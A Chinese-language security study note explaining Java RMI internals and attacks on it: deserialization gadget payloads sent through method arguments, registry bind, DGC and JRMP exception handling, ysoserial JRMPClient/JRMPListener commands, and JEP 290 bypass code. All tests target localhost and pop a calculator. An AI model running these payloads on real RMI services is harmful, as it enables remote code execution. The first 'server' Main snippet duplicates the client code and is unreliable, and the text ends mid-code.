Java RMI 安全笔记

 

RMI 简介

RMI(Remote Method Invocation)是 Java 中用于远程通信的机制,它允许在不同的 Java 虚拟机(JVM)之间进行方法调用和对象传输。

简单示例

简单的示例参考 JAVA 协议安全笔记-RMI篇 - 跳跳糖

Server 需要抽象一个接口,并对其进行实现,然后将实例注册到注册中心。Server 端包含如下的文件:

  1. ICalc.java:一个接口,包含一个 sum 函数
     import java.rmi.Remote;
     import java.rmi.RemoteException;
     import java.util.List;
    
     public interface ICalc extends Remote {
         public Integer sum(List<Integer> params) throws RemoteException;
     }
    
  2. Calc.java:接口 ICalc 的实现类。
     import java.rmi.RemoteException;
     import java.rmi.server.UnicastRemoteObject;
     import java.util.List;
    
     public class Calc extends UnicastRemoteObject implements ICalc{
         private int baseNumber = 123;
    
         protected Calc() throws RemoteException {
         }
    
         @Override
         public Integer sum(List<Integer> params) throws RemoteException {
             Integer sum = baseNumber;
             for (Integer param : params) {
                 sum += param;
             }
             return sum;
         }
     }
    
  3. Main 类,用于开启注册中心,并将 Calc 实例注册到注册中心。此时 Server 就是注册中心。
     import java.rmi.registry.LocateRegistry;
     import java.rmi.registry.Registry;
     import java.util.ArrayList;
     import java.util.List;
    
     public class Main {
         public static void main(String[] args) {
             try {
                 Registry registry = LocateRegistry.getRegistry("localhost", 1099);
                 ICalc calc = (ICalc) registry.lookup("calc");
                 List<Integer> li = new ArrayList<Integer>();
                 li.add(1);
                 li.add(2);
                 System.out.println(calc.sum(li));
             } catch (Exception e) {
                 e.printStackTrace();
             }
         }
     }
    

Client 仅需要声明 ICalc 接口(并不需要实现),然后查找注册中心对应的类进行调用即可。Client 包含如下的文件:

  1. ICalc.java:接口内容与 Server 端一致。
     import java.rmi.Remote;
     import java.rmi.RemoteException;
     import java.util.List;
    
     public interface ICalc extends Remote {
         public Integer sum(List<Integer> params) throws RemoteException;
     }
    
  2. Main.java:查找注册中心并获取调用特定方法。
     import java.rmi.registry.LocateRegistry;
     import java.rmi.registry.Registry;
     import java.util.ArrayList;
     import java.util.List;
    
     public class Main {
         public static void main(String[] args) {
             try {
                 Registry registry = LocateRegistry.getRegistry("localhost", 1099);
                 ICalc calc = (ICalc) registry.lookup("calc");
                 List<Integer> li = new ArrayList<Integer>();
                 li.add(1);
                 li.add(2);
                 System.out.println(calc.sum(li));
             } catch (Exception e) {
                 e.printStackTrace();
             }
         }
     }
    

从这个简单示例可以看出,客户端仅需要对接口进行声明(无需实现),查找远程的注册中心,即可找到远程服务器上的实现类并进行调用。这一功能在 Java 中称为远程方法调用(Remote Method Invocation),简称 RMI。

RMI 调用过程

RMI 调用过程以及通信分析可以参考:JAVA 协议安全笔记-RMI篇 - 跳跳糖,本文仅作简要概括。

分析调用过程之前,我们需要了解 codebase 的概念。codebase 可以定义为类的位置,JVM 可以根据 codebase 对指定的类进行加载。CLASSPATH 其实就可以看作是一个 codebase,当所有调用都在本地完成时,CLASSPATH 就指定了 JVM 加载类的路径。

在远程方法调用中,由于类存放在远程服务器中,因此服务器在将类注册到注册中心时,必须指定 codebase 的值,这个值可以是 http 服务地址、ftp 地址或者本地路径(file://),客户端在向注册中心查询时,注册中心需要将 codebase 传递给客户端,以此确保客户端能够正确找到类的位置。

20230629033605

在 RMI 的调用流程中有三个主体,分别是服务端,注册中心以及客户端。上面的调用流程图很好的展示了 RMI 的工作流程。

  1. 第一步:服务端将实现了 Remote 接口的类实例注册到注册中心,注册时使用一个名称进行绑定。除了主动绑定之外,注册中心也可以通过设定注册时可以通过设置 java.rmi.server.codebase 来指定网络位置。
  2. 第二步:客户端向注册中心发起查询,查询时使用名称进行索引。(这个名称就是服务端注册远程对象时使用的名称)
  3. 第三步:注册中心向客户端返回了远程对象的一个存根(Stub)。存根被存放在客户端中,充当了客户端和远程对象之间的中间层,使得客户端可以像调用本地对象一样调用远程对象的方法。

    具体来说,存根具有与远程对象相同的接口,而且能够代表客户端与远程对象进行通信。客户端通过存根对象调用方法时,存根会负责将方法调用转发到远程对象上执行,并将执行结果返回给客户端。

    从存根的实现上来看,存根不仅需要具备网络传输功能,还需要在进行网络传输时对方法调用和执行结果进行序列化和反序列化操作,由此来传输对象数据。

  4. 第四步:获取到类的实例之后,客户端会检查类的定义是否能够在本地 CLASSPATH 找到,如果能够找到,则直接从本地加载。如果本地找不到,则客户端会根据注册中心中设定的 codebase 值从网络路径进行加载。(可以联想到 URLClassLoader 远程加载恶意类的攻击方式)
  5. 第五步:客户端从 codebase 中加载远程类(使用 URLClassLoader 进行加载)。 通过 codebase 的查询和下载,客户端能够获取远程对象的实现代码,并将其加载到运行环境中,以便在本地进行方法调用的序列化和反序列化等操作。 这就是客户端需要获取远程对象的实现代码的原因。

至此,客户端拥有了调用远程方法的所有信息,下一步就是发起远程方法调用。如下图所示:

20230629033643

  1. 第六步:客户端在 Stub 对象上调用对应的方法,Stub 对象发起网络连接(TCP)与服务器进行通信。 客户端在向服务端发起方法调用时,会将方法名、方法参数、对象引用、远程对象标识符以及方法调用相关的协议和元数据等内容进行序列化,并通过网络发送给服务端。服务端接收到这些数据后,进行相应的反序列化和方法调用处理,并将结果返回给客户端。

RMI 安全问题

参考 Eki 大佬JAVA 协议安全笔记-RMI篇 - 跳跳糖这篇文章的总结。RMI 安全问题主要有以下三点:

  1. 信息泄露问题
  2. 远程加载类的安全问题
  3. 反序列化安全问题

信息泄露问题

Registry 类提供了 list() 方法,用于获取注册表中所有绑定的名称,得到名称之后就可以使用 lookup 方法进行查询以获取绑定的信息,但实际情况下,客户端并不知道注册中心中的类定义(为了模拟这个场景,可以将上面简单示例中, Client 中的 ICalc 接口删除掉),因此通常会产生 ClassNotFoundException:

java.rmi.UnmarshalException: error unmarshalling return; nested exception is: 
	java.lang.ClassNotFoundException: com.dr34d.ICalc (no security manager: RMI class loader disabled)
	at sun.rmi.registry.RegistryImpl_Stub.lookup(RegistryImpl_Stub.java:127)
	at com.dr34d.Main.InvokeSum(Main.java:21)
	at com.dr34d.Main.main(Main.java:15)

工具 remote_method_guesser 通过重写 RMIClassLoader 解决了这一问题,可以枚举出注册中心上绑定的对象。

remote_method_guesser 除了可以枚举对象信息之外,还会进行其他的一些测试,例如 codebase、JEP 290 绕过等,这些利用方式会在后续进行解释。

└─$ java -jar rmg-4.4.0-jar-with-dependencies.jar enum 127.0.0.1 1099          
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] RMI registry bound names:
[+]
[+]     - calc
[+]             --> com.dr34d.ICalc (unknown class)
[+]                 Endpoint: 127.0.1.1:34499  TLS: no  ObjID: [-493fd076:18919bab208:-7fff, 6460666662939108551]
[+]
[+] RMI server codebase enumeration:
[+]
[+]     - The remote server does not expose any codebases.
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+]     - Caught ClassNotFoundException during lookup call.
[+]       --> The type java.lang.String is unmarshalled via readObject().
[+]       Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+]     - Caught ClassCastException during lookup call.
[+]       --> The server ignored the provided codebase (useCodebaseOnly=true).
[+]       Configuration Status: Current Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+]     - Caught NotBoundException during unbind call (unbind was accepeted).
[+]       Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+]     - Caught Exception containing 'no security manager' during RMI call.
[+]       --> The server does not use a Security Manager.
[+]       Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+]     - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+]       Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+]     - Caught IllegalArgumentException after sending An Trinh gadget.
[+]       Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+]     - Caught NoSuchObjectException during activate call (activator not present).
[+]       Configuration Status: Current Default

远程类加载安全问题

在分析 RMI 调用流程时可以发现,如果 RMI 服务器指定了一个 codebase,并且客户端本地 CLASSPATH 找不到类定义,客户端就会根据 codebase,从网络路径中加载类。由此引发恶意类加载这样的安全问题。

早期的 jdk 版本没有任何限制, 但随着 jdk 版本的更新, 诸多安全限制也被加入到其中. 主要的限制有两个:

  1. SecurityManager。SecurityManager 是 Java 中的安全管理器,它的主要作用是控制应用程序的安全性。在 RMI 远程类加载场景下 SecurityManager 有两点限制: 如果未开启 SecurityManager, 则默认阻止远程类加载

    java.lang.ClassNotFoundException: com.dr34d.ICalc (no security manager: RMI class loader disabled)
    

    如果开启了 SecurityManager 但未开启远程类加载的权限,默认情况下也会阻止。

  2. java.rmi.server.useCodebaseOnly 属性。如果这个值是 true, JVM 只会自动加载本地 CLASSPATH 和 java.rmi.server.codebase 设定的值。使用此属性可防止客户端虚拟机动态加载远程字节码

为了测试远程加载类,我们可以将 Client 中 ICalc 接口的定义进行删除, 此时客户端本地无法找到类定义。

我们可以通过在 Client 中加入如下的代码来加载 SecurityManager。


public class Main {
    public static void main(String[] args) throws Exception{

        if (System.getSecurityManager() == null) {
            System.out.println("setup SecurityManager");
            System.setSecurityManager(new SecurityManager());
        }
        InvokeSum();
    }

    public static void InvokeSum(){
        try {
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);
            Object calc = registry.lookup("calc");
            System.out.println(calc);
            List<Integer> li = new ArrayList<Integer>();
            li.add(1);
            li.add(2);
    //            System.out.println(calc.sum(li));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在 Client 目录下创建一个 .policy 规则文件,该规则允许所有的行为。

grant {
    permission java.security.AllPermission;
};

然后在启动 Client 时指定 VM option, vuln.policy 可以使用绝对路径。

-Djava.security.policy=/xxx/vuln.policy

设定 java.rmi.server.useCodebaseOnly=false。

-Djava.rmi.server.useCodebaseOnly=false

于此同时,RMI 服务器中可以通过 System.setProperty 指定 codebase 为远程地址。

public class Main {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        System.setProperty("java.rmi.server.codebase", "http://localhost:9999");
        ICalc calc = new Calc();
        registry.bind("calc",calc);
    }
}

此时执行客户端代码,localhost:9999 会接收到 http 请求。

listening on [any] 9999 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 45676
GET / HTTP/1.1
User-Agent: Java/1.8.0_181
Host: localhost:9999
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

客户端由于本地无法找到远程类,则会按照注册中心的 codebase 远程加载类,同理,当服务端接收到客户端的 RMI 请求时,如果找不到相关类的定义,也会从客户端指定的 codebase 中加载远程类。

但由于 SecurityManager 和 useCodebaseOnly 的存在,只有满足配置了 SecurityManager 并且允许相关权限,且 java.rmi.server.useCodebaseOnly=false 时才能够完成这种利用。

反序列化安全问题

RMI 调用过程中会将函数参数、返回值、异常处理进行序列化与反序列化,因此 RMI 中的反序列化利用有以下的三种:

  1. 函数参数的反序列化利用。
  2. 函数返回值的反序列化利用。
  3. 异常处理的反序列化利用。

远程方法参数的反序列化

攻击客户端(任意版本 jdk)

当远程调用的函数参数不为基本类型时,会触发反序列化。在 u242 之前,String 类也会调用 readObject,源码如下:

protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
    if (var0.isPrimitive()) {
        if (var0 == Integer.TYPE) {
            return var1.readInt();
        } else if (var0 == Boolean.TYPE) {
            return var1.readBoolean();
        } else if (var0 == Byte.TYPE) {
            return var1.readByte();
        } else if (var0 == Character.TYPE) {
            return var1.readChar();
        } else if (var0 == Short.TYPE) {
            return var1.readShort();
        } else if (var0 == Long.TYPE) {
            return var1.readLong();
        } else if (var0 == Float.TYPE) {
            return var1.readFloat();
        } else if (var0 == Double.TYPE) {
            return var1.readDouble();
        } else {
            throw new Error("Unrecognized primitive type: " + var0);
        }
    } else {
        return var0 == String.class && var1 instanceof ObjectInputStream ? SharedSecrets.getJavaObjectInputStreamReadString().readString((ObjectInputStream)var1) : var1.readObject();
    }
}

为了方便测试,我们可以在 ICalc 接口中添加一个参数不为基础类型的函数 equ:

public interface ICalc extends Remote {
    public Integer sum(List<Integer> params) throws RemoteException;
    public Object equ(Object a,Object b) throws RemoteException;
}

并在服务端和客户端都添加 commons-collections 依赖。

在客户端调用函数,并将 CC6 payload 添加到参数位置, 可以成功触发服务端的命令执行。

public class Test {
    public static void main(String[] args) {
        InvokeEqu();
    }
    public static void InvokeEqu(){
        try {
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);
            ICalc calc = (ICalc) registry.lookup("calc");
            System.out.println(calc);
            System.out.println(calc.equ(new CC6().getPocObject("mate-calc"),null));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

注册中心方法参数的反序列化

攻击注册中心(JEP 290 前)

服务端或者客户端对于注册中心的操作同样会触发反序列化, 例如:

  1. 服务端调用 bind 将类实例绑定到注册中心。
  2. 服务端调用 unbind 将远程对象解绑。
  3. 服务端调用 rebind 重新绑定远程对象。
  4. 客户端调用 lookup 查询远程对象。

bind、unbind、rebind、lookup 方法的参数会通过 JRMP 协议发送到注册中心, 并在注册中心进行反序列化。注册中心使用 RegistryImpl_Skel 类的 dispatch 方法进行处理:

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
        ...
            switch(var3) {
            case 0:
                RegistryImpl.checkAccess("Registry.bind");

                try {
                    var9 = var2.getInputStream();
                    var7 = (String)var9.readObject();
                    var80 = (Remote)var9.readObject();
                } 

                var6.bind(var7, var80);
                ...
            case 1:
                var2.releaseInputStream();
                String[] var79 = var6.list();

                try {
                    ObjectOutput var81 = var2.getResultStream(true);
                    var81.writeObject(var79);
                    break;
                } 
                ...
            case 2:
                try {
                    var8 = var2.getInputStream();
                    var7 = (String)var8.readObject();
                } catch (ClassNotFoundException | IOException var73) {
                    throw new UnmarshalException("error unmarshalling arguments", var73);
                } finally {
                    var2.releaseInputStream();
                }

                var80 = var6.lookup(var7);

            case 3:
                RegistryImpl.checkAccess("Registry.rebind");

                try {
                    var9 = var2.getInputStream();
                    var7 = (String)var9.readObject();
                    var80 = (Remote)var9.readObject();
                } catch (ClassNotFoundException | IOException var70) {
                    throw new UnmarshalException("error unmarshalling arguments", var70);
                } finally {
                    var2.releaseInputStream();
                }

                var6.rebind(var7, var80);

            case 4:
                RegistryImpl.checkAccess("Registry.unbind");

                try {
                    var8 = var2.getInputStream();
                    var7 = (String)var8.readObject();
                } catch (ClassNotFoundException | IOException var67) {
                    throw new UnmarshalException("error unmarshalling arguments", var67);
                } finally {
                    var2.releaseInputStream();
                }

                var6.unbind(var7);

                try {
                    var2.getResultStream(true);
                    break;
                } catch (IOException var66) {
                    throw new MarshalException("error marshalling return", var66);
                }
        ...
    }
}

JEP 290 对注册中心方法中的反序列化进行了过滤,以 bind 方法为例,在 JEP 290 出现之前,bind 方法的 name 以及 obj 都可以进行反序列化(jdk 版本低于 6u141, 7u131,8u121)

JEP 是 JDK 增强提案(JDK Enhancement Proposal)的缩写,代表了 Java 开发工具包(JDK)的提议增强或功能。引入 JEP 290 后,Java 增强了对传入序列化数据的过滤机制,允许开发人员定义过滤器来控制哪些类可以被反序列化。这样可以有效地防止恶意类的反序列化攻击,提高了 Java 应用程序的安全性。

构造 payload 时,由于 bind 的第二个从参数需要为一个 Remote 对象。所以通常使用动态代理将 payload 包装成 Remote 对象。

public static void TestJEP290() throws Exception{
    Registry registry = LocateRegistry.getRegistry(1099);
    Object pocObject = new CC6().getPocObject("mate-calc");

    Map<String, Object> map = new HashMap<>();
    map.put("whatever", pocObject);
    Constructor constructor =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    InvocationHandler invocationHandler  = (InvocationHandler) constructor.newInstance(Override.class, map);
    Remote obj = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler);

    registry.bind("evil", obj);
}

增加了 JEP 290 后的 jdk 中会报错:

Exception in thread "main" java.rmi.ServerException: RemoteException occurred in server thread; nested exception is: 
	java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is: 
	java.io.InvalidClassException: filter status: REJECTED
	at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389)

远程方法返回值的反序列化

攻击客户端(任意版本 jdk)

如果远程对象函数的返回值如果是一个恶意的对象,则会在客户端进行反序列化时触发。

我们修改服务端中 Calc 实现类的 equ 函数,将其返回值设定为恶意序列化数据:

    public static void EvilReturn() throws Exception{
        Registry registry = LocateRegistry.getRegistry(1099);

        ICalc obj = new ICalc() {
            @Override
            public Integer sum(List<Integer> params) throws RemoteException {
                return null;
            }

            @Override
            public Object equ(Object a, Object b) throws RemoteException {
                Object pocObject1 = null;
                try {
                     pocObject1 = new CC6().getPocObject("mate-calc");
                }catch (Exception e){
                    e.printStackTrace();
                }
                return pocObject1;
            }
        };

        registry.bind("evil", obj);
    }

将该实例注册到注册中心中,然后使用客户端进行调用, 可以成功反序列化。

    public static void InvokeEqu(){
        try {
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);
            ICalc calc = (ICalc) registry.lookup("evil");
            System.out.println(calc);
            List<Integer> li = new ArrayList<Integer>();
            li.add(1);
            li.add(2);
            System.out.println(calc.equ(null,null));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

但这样的攻击场景一般很少,毕竟客户端不会主动查询攻击者注册的恶意类。

DGC 的反序列化

DGC(Distributed Garbage Collection)是 RMI 中的一种机制,用于管理远程对象的垃圾回收。DGC 通常出现在客户端向服务端发起 RMI 调用期间(除了这种情况之外,注册中心与服务端之间也会出现 DGC 交互,这种情况会结合 JRMP 协议的反序列化进行说明)。具体流程如下:

  1. 客户端获取到远程对象的引用之后,客户端会周期性地发送 DGC 请求(dirty call)给服务端.
  2. 服务器在接收到请求后,根据请求中的信息来判断对象在客户端的使用状态,如果并进行相应的处理, 如果服务端发现客户端不再使用远程对象,则会将远程对象标记为可回收状态。然后,在适当的时机通过垃圾回收机制回收这些可回收的远程对象。响应时, 服务端会将Lease(租约)信息序列化为字节流,并通过网络发送给客户端.

从 DGC 的处理流程上来看,也是存在反序列化利用的可能性,从源码层面来观察更容易理解。DGC 交互涉及到两个类,分别为:

  1. DGCImpl_Stub:客户端调用 dirty call 时,会调用 this.ref.newCall 向服务端发起 DGC 请求,接收到服务端返回的序列化数据后,会将其反序列化得到 Lease 对象。
     public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
     try {
         RemoteCall var5 = this.ref.newCall(this, operations, 1, -669196253586618813L);
    
         ...
         Lease var23;
         try {
             ObjectInput var8 = var5.getInputStream();
             if (var8 instanceof ObjectInputStream) {
                 ObjectInputStream var9 = (ObjectInputStream)var8;
                 AccessController.doPrivileged(() -> {
                     Config.setObjectInputFilter(var9, DGCImpl_Stub::leaseFilter);
                     return null;
                 });
             }
    
             var23 = (Lease)var8.readObject();
         ...
    
  2. DGCImpl_Skel: 接收到客户端 DGC 请求时会调用 dispatch 方法。dispatch 方法中调用了 readObject 方法。
     public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
         if (var4 != -669196253586618813L) {
             throw new SkeletonMismatchException("interface hash mismatch");
         } else {
             DGCImpl var6 = (DGCImpl)var1;
             ObjID[] var7;
             long var8;
             switch(var3) {
             case 0:
                 VMID var39;
                 boolean var41;
                 try {
                     ObjectInput var42 = var2.getInputStream();
                     var7 = (ObjID[])((ObjID[])var42.readObject());
                     var8 = var42.readLong();
                     var39 = (VMID)var42.readObject();
                     var41 = var42.readBoolean();
    

所以说不论是客户端还是服务端,都受到 DGC 反序列化的影响。这里参考 yxxx 师傅的代码,直接通过 JAVA Socket 向服务端(注册中心)发包进行反序列化。

RemoteUtils.java

import sun.rmi.server.MarshalOutputStream;
import sun.rmi.transport.TransportConstants;

import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.rmi.server.ObjID;

public class RemoteUtils {
    public static void sendRawCall(String host, int port, ObjID objid, int opNum, Long hash, Object ...objects) throws Exception {
        Socket socket = SocketFactory.getDefault().createSocket(host, port);
        socket.setKeepAlive(true);
        socket.setTcpNoDelay(true);
        DataOutputStream dos = null;
        try {
            OutputStream os = socket.getOutputStream();
            dos = new DataOutputStream(os);

            dos.writeInt(TransportConstants.Magic);
            dos.writeShort(TransportConstants.Version);
            dos.writeByte(TransportConstants.SingleOpProtocol);
            dos.write(TransportConstants.Call);

            final ObjectOutputStream objOut = new MarshalOutputStream(dos);

            objid.write(objOut); //Objid
            objOut.writeInt(opNum); // opnum
            objOut.writeLong(hash); // hash

            for (Object object:
                    objects) {
                objOut.writeObject(object);
            }

            os.flush();
        } finally {
            if (dos != null) {
                dos.close();
            }
            if (socket != null) {
                socket.close();
            }
        }
    }

    public static void main(String[] args) {

    }
}

Attack.java

import java.rmi.server.ObjID;

public class Attack {
    public static void AttackByDGC() throws Exception {
        String registryHost = "127.0.0.1";
        int registryPort = 1099;
        final Object payloadObject = new CC6().getPocObject("mate-calc");
        ObjID objID = new ObjID(2);
        RemoteUtils.sendRawCall(registryHost, registryPort,  objID, 0, -669196253586618813L,payloadObject);
    }

    public static void main(String[] args) throws Exception {
        AttackByDGC();
    }
}

攻击注册中心(JEP 290 前)

ysoserial 中 JRMPClient 的利用就是基于 DGC 反序列化, 用于攻击服务端(注册中心):

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections6 "mate-calc"

需要注意的是,JEP290 同样对 DGC 反序列化进行了防护,测试时需要使用低版本jdk(jdk 版本低于 6u141, 7u131,8u121).

JRMP 协议异常处理的反序列化

攻击客户端(任意版本 jdk)

RMI 调用建立在 JRMP 协议之上,从源码层次去分析可以发现,RMI 调用的所有过程,例如 DGC 请求、服务端向注册中心注册对象、客户端调用远程方法等,最终都会调用 StreamRemoteCall 类的 executeCall 方法。

该方法部分源代码如下:

    public void executeCall() throws Exception {
        DGCAckHandler var2 = null;
        ...

        switch(var1) {
        case 1:
            return;
        case 2:
            Object var14;
            try {
                var14 = this.in.readObject();
            } catch (Exception var10) {
                throw new UnmarshalException("Error unmarshaling return", var10);
            }
        ...
    }

但该方法本身就存在序列化与反序列化机制,可以看到上述的代码中调用了 this.in.readObject, var1 变量实际上代表的是 JRMP 协议中的 returnType 字段,没有报错情况下,returnType 为 1, 错误情况下 returnType 为 2,也就是说出现异常情况下可以触发反序列化。

这种利用方式主要用于攻击客户端, 当客户端向恶意服务端发起 RMI 调用时,服务端返回错误信息,触发在客户端的反序列化。ysoserial 中的 JRMPListener 就是这一攻击方式的实现, 这种攻击方式并未受到 JEP 290 的限制.

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections6 'mate-calc'

其实现代码可见: ysoserial/src/main/java/ysoserial/exploit/JRMPListener.java at master · frohoff/ysoserial · GitHub

攻击注册中心(8u121~8u230)

除了攻击客户端之外,JRMP 协议异常处理反序列化还可以用于攻击注册中心。在这种利用方式在 RMI-JEP290的分析与绕过-安全客 - 安全资讯平台 这篇文章中进行了详细的阐述。

主要利用思想在于:

RemoteObject 类(及其没有实现 readObject 方法的子类)经过反序列化可以通过内部的 UnicastRef 对象发起 JRMP 请求连接恶意的 Server。

测试利用代码如下,其中 12345 端口是 ysoserial JRMPListener 服务。

import sun.rmi.server.UnicastRef;
import xyz.eki.marshalexp.rmi.utils.RemoteUtils;

import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import java.rmi.server.ObjID;

public class AttackRegistryByJRMPListener {
    public static void main(String[] args) {
        try {
            String registryHost = "127.0.0.1";
            int registryPort = 1099;
            String JRMPHost = "127.0.0.1";
            int JRMPPort = 12345;

            //利用 RMIConnectionImpl_Stub
            java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
            sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(JRMPHost, JRMPPort);
            sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
            UnicastRef ref = new sun.rmi.server.UnicastRef(liveRef);

            RMIConnectionImpl_Stub remote = new RMIConnectionImpl_Stub(ref);

            ObjID objID_ = new ObjID(0);

            //Bind(null,payloadObj)
            RemoteUtils.sendRawCall(registryHost,registryPort,objID_,0,4905912898345647071L,null,remote);

        }catch (Throwable t){
            t.printStackTrace();
        }
    }
}

下面是简要的原理分析,具体跟踪调用过程可见文章 RMI-JEP290的分析与绕过-安全客 - 安全资讯平台

  1. 在 RegistryImpl_Skel.dispatch bind 分支反序列化参数时,最终会进入 RemoteObject.readObject 方法进行反序列化。
  2. RemoteObject.readObject 方法中会调用 readExternal 方法。
  3. 而 readExternal 方法最终调用到 LiveRef 类的 read 方法。进而调用 saveRef 将远程对象的 LiveRef(标识信息、通信地址)存放在 ConnectionInputStream 实例中。

调用栈如下所示:

saveRef:77, ConnectionInputStream (sun.rmi.transport)
read:305, LiveRef (sun.rmi.transport)
readExternal:489, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
...
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:75, RegistryImpl_Skel (sun.rmi.registry)

当反序列化结束回到 RegistryImpl_Skel.dispatch 方法后,会接着调用 releaseInputStream 释放这个 ConnectionInputStream 实例,此时会根据前面保存的 LiveRef 信息,向恶意服务端发起 DGC 请求,由于 DGC 请求建立在 JRMP 协议之上,最终会触发 executeCall 导致在注册中心反序列化恶意 payload。调用栈如下:

executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:375, UnicastRef (sun.rmi.server)
dirty:109, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:80, RegistryImpl_Skel (sun.rmi.registry)
...

由于注册中心发送的 DGC 请求并未受到正常的 Lease 对象,因此会不断地连接到恶意服务器。

该利用方式在 8u231 之后得到修复:DGCImpl_Stub 中添加了一个 leaseFilter 方法,对反序列化的类型以及深度进行了过滤:

    public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
        try {
            StreamRemoteCall var5 = (StreamRemoteCall)this.ref.newCall(this, operations, 1, -669196253586618813L);
            var5.setObjectInputFilter(DGCImpl_Stub::leaseFilter);

攻击注册中心(8u231~8u240)

针对上面 8u231 的过滤,An Trinh 提出了一种绕过方式,直接通过反序列化 UnicastRemoteObject 类来发起 JRMI Call 而不需要经过 DGCImpl_Stub.dirty 方法。

UnicastRemoteObject 类在反序列化时,会调用 reexport 方法,该方法最终会在 TCPTransport.newServerSocket 方法中执行如下代码:

    ServerSocket newServerSocket() throws IOException {
        ...
        ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort);

此时 An Trinh 将 var1 设置为一个 RemoteObjectInvocationHandler 动态代理,使得调用 createServerSocket 方法时进入 RemoteObjectInvocationHandler.invoke 方法,最终直接调用到 UnicastRef.invoke 方法触发 executeCall。整个调用栈如下所示:

executeCall:233, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy1 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:237, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:88, RegistryImpl_Skel (sun.rmi.registry)
...

但需要注意的是,序列化 payload 时,我们使用 MarshalOutputStream 类来进行序列化,如果对象没有继承 RemoteStub 的话,会进行转化,UnicastRemoteObject 没有继承 RemoteStub,会被转化为 RemoteObjectInvocationHandler,导致在服务端无法触发。

    public static void sendRawCall(String host, int port, ObjID objid, int opNum, Long hash, Object ...objects) throws Exception {
        ...
        final ObjectOutputStream objOut = new MarshalOutputStream(dos);

为了解决这个问题,可以重写 MarshalOutputStream,将其 replaceObject 置空:

    public static class myMarshalOutputStream extends ObjectOutputStream{

        public myMarshalOutputStream(OutputStream var1) throws IOException {
            this(var1, 1);
        }

        public myMarshalOutputStream(OutputStream var1, int var2) throws IOException {
            super(var1);
            this.useProtocolVersion(var2);
            AccessController.doPrivileged(new PrivilegedAction<Void>() {
                public Void run() {
                    myMarshalOutputStream.this.enableReplaceObject(true);
                    return null;
                }
            });
        }

